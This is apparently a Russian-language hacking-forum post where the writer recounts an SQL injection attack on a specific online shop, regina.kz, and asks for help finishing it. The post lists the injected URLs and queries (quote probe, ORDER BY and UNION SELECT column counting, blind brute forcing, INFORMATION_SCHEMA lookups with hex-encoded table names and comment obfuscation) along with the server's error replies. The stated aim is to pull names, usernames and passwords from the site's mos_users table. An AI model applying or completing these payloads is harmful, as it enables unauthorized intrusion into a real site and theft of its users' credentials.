так как я тормоз, уже не могу третий день раскрутить скулю:
http://regina.kz/shop/index.php?CID=24'
Код:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
далее
http://regina.kz/shop/index.php?CID=24+order+by+5+--+
Код:
Unknown column '5' in 'order clause'
делаю
http://regina.kz/shop/index.php?CID=24+union+select+1,2,3,4+--+
Код:
The used SELECT statements have a different number of columns
потом немножка покурил посимвольный перебор и сипт набрутил это (мускуль=5 ветка):
Код:
Имя таблицы:Getted String number 57:mos_users
иду дальше с запросом:
Код:
SELECT/**/COLUMN_NAME/**/from/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0x6d6f735f7573657273/**/LIMIT/**/{N1-15},1
и получил имена колонок.
далее хочу вытащить значения с таблицы mos_users:
Код:
SELECT/**/email/**/from/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0x5c276d6f735f75736572735c27/**/LIMIT/**/{N1-5},1
ответ: Unknown column 'email' in 'field list'.
собсно, подскажите плз как вытащить значения с таблицы (table:mos_users; column:name,username,password) и где у меня ошибка?